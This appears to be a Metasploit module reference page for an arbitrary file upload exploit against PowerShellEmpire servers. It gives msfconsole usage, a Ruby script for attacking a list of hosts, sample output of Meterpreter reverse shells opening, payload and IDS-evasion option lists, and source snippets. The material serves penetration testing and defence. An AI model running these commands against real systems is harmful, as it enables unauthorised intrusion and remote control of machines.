PowerShellEmpire Arbitrary File Upload (Skywalker) - Metasploit
This page contains detailed information about how to use the exploit/linux/http/empire_skywalker metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PowerShellEmpire Arbitrary File Upload (Skywalker)
Module: exploit/linux/http/empire_skywalker
Source code: modules/exploits/linux/http/empire_skywalker.rb
Disclosure date: 2016-10-15
Last modification time: 2021-02-19 20:35:33 +0000
Supported architecture(s): -
Supported platform(s): Linux, Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
A vulnerability existed in the PowerShellEmpire server prior to commit f030cf62 which would allow an arbitrary file to be written to an attacker controlled location with the permissions of the Empire server. This exploit will write the payload to /tmp/ directory followed by a cron.d file to execute the payload.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using empire_skywalker against a single host
Normally, you can use exploit/linux/http/empire_skywalker this way:
msf > use exploit/linux/http/empire_skywalker
msf exploit(empire_skywalker) > show targets
... a list of targets ...
msf exploit(empire_skywalker) > set TARGET target-id
msf exploit(empire_skywalker) > show options
... show and set options ...
msf exploit(empire_skywalker) > exploit
Using empire_skywalker against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your empire_skywalker will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/empire_skywalker")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/empire_skywalker exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/empire_skywalker
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/empire_skywalker) > show info
Name: PowerShellEmpire Arbitrary File Upload (Skywalker)
Module: exploit/linux/http/empire_skywalker
Platform: Linux, Python
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-10-15
Provided by:
Spencer McIntyre
Erik Daguerre
Module side effects:
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Python
1 Linux x86
2 Linux x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PROFILE no Empire agent traffic profile URI.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STAGE0_URI index.asp yes The resource requested by the initial launcher, default is index.asp
STAGE1_URI index.jsp yes The resource used by the RSA key post, default is index.jsp
TARGETURI / no Base URI path
VHOST no HTTP server virtual host
Payload information:
Description:
A vulnerability existed in the PowerShellEmpire server prior to
commit f030cf62 which would allow an arbitrary file to be written to
an attacker controlled location with the permissions of the Empire
server. This exploit will write the payload to /tmp/ directory
followed by a cron.d file to execute the payload.
References:
http://www.harmj0y.net/blog/empire/empire-fails/
Module Options
This is a complete list of options available in the linux/http/empire_skywalker exploit:
msf6 exploit(linux/http/empire_skywalker) > show options
Module options (exploit/linux/http/empire_skywalker):
Name Current Setting Required Description
---- --------------- -------- -----------
PROFILE no Empire agent traffic profile URI.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STAGE0_URI index.asp yes The resource requested by the initial launcher, default is index.asp
STAGE1_URI index.jsp yes The resource used by the RSA key post, default is index.jsp
TARGETURI / no Base URI path
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
Advanced Options
Here is a complete list of advanced options supported by the linux/http/empire_skywalker exploit:
msf6 exploit(linux/http/empire_skywalker) > show advanced
Module advanced options (exploit/linux/http/empire_skywalker):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 75 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/empire_skywalker module can exploit:
msf6 exploit(linux/http/empire_skywalker) > show targets
Exploit targets:
Id Name
-- ----
0 Python
1 Linux x86
2 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/empire_skywalker exploit:
msf6 exploit(linux/http/empire_skywalker) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
17 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
18 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
19 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/empire_skywalker exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/empire_skywalker) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to write file
Here is a relevant code snippet related to the "Failed to write file" error message:
172: 'cookie' => "SESSIONID=#{session_id}",
173: 'data' => aes_encrypt(session_key, data, include_mac=true),
174: 'method' => 'POST',
175: 'uri' => normalize_uri(profile_uri)
176: })
177: fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
178:
179: res
180: end
181:
182: def cron_file(command)
Failed to recover the staging key
Here is a relevant code snippet related to the "Failed to recover the staging key" error message:
192:
193: def exploit
194: vprint_status('Recovering the staging key...')
195: staging_key = get_staging_key
196: if staging_key.nil?
197: fail_with(Failure::Unknown, 'Failed to recover the staging key')
198: end
199: vprint_good("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
200: staging_key = staging_key.pack('C*')
201:
202: rsa_key = OpenSSL::PKey::RSA.new(2048)
Failed to send the RSA key
Here is a relevant code snippet related to the "Failed to send the RSA key" error message:
208: 'cookie' => "SESSIONID=#{session_id}",
209: 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
210: 'method' => 'POST',
211: 'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
212: })
213: fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
214: vprint_good("Successfully sent the RSA key")
215:
216: # decrypt the response and pull out the epoch and session_key
217: body = rsa_key.private_decrypt(res.body)
218: server_epoch = body[0..9].to_i
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10873 Merged Pull Request: Add applicable notes to my exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7450 Merged Pull Request: PowerShellEmpire Arbitrary File Upload (Skywalker)
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/emc/alphastor_devicemanager_exec
- auxiliary/admin/emc/alphastor_librarymanager_exec
- auxiliary/dos/misc/memcached
- auxiliary/gather/emc_cta_xxe
- auxiliary/gather/memcached_extractor
- auxiliary/scanner/emc/alphastor_devicemanager
- auxiliary/scanner/emc/alphastor_librarymanager
- auxiliary/scanner/memcached/memcached_amp
- auxiliary/scanner/memcached/memcached_udp_version
- exploit/windows/emc/alphastor_agent
- exploit/windows/emc/alphastor_device_manager_exec
- exploit/windows/emc/networker_format_string
- exploit/windows/emc/replication_manager_exec
- exploit/windows/fileformat/emc_appextender_keyworks
- auxiliary/admin/oracle/sid_brute
- auxiliary/scanner/oracle/isqlplus_sidbrute
- auxiliary/scanner/oracle/sid_brute
- auxiliary/scanner/oracle/sid_enum
- auxiliary/scanner/oracle/spy_sid
- auxiliary/scanner/oracle/xdb_sid
- auxiliary/scanner/oracle/xdb_sid_brute
- auxiliary/scanner/smb/smb_lookupsid
- exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
- exploit/multi/browser/chrome_jscreate_sideeffect
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/windows/misc/vmhgfs_webdav_dll_sideload
- post/windows/gather/resolve_sid
Authors
- Spencer McIntyre
- Erik Daguerre
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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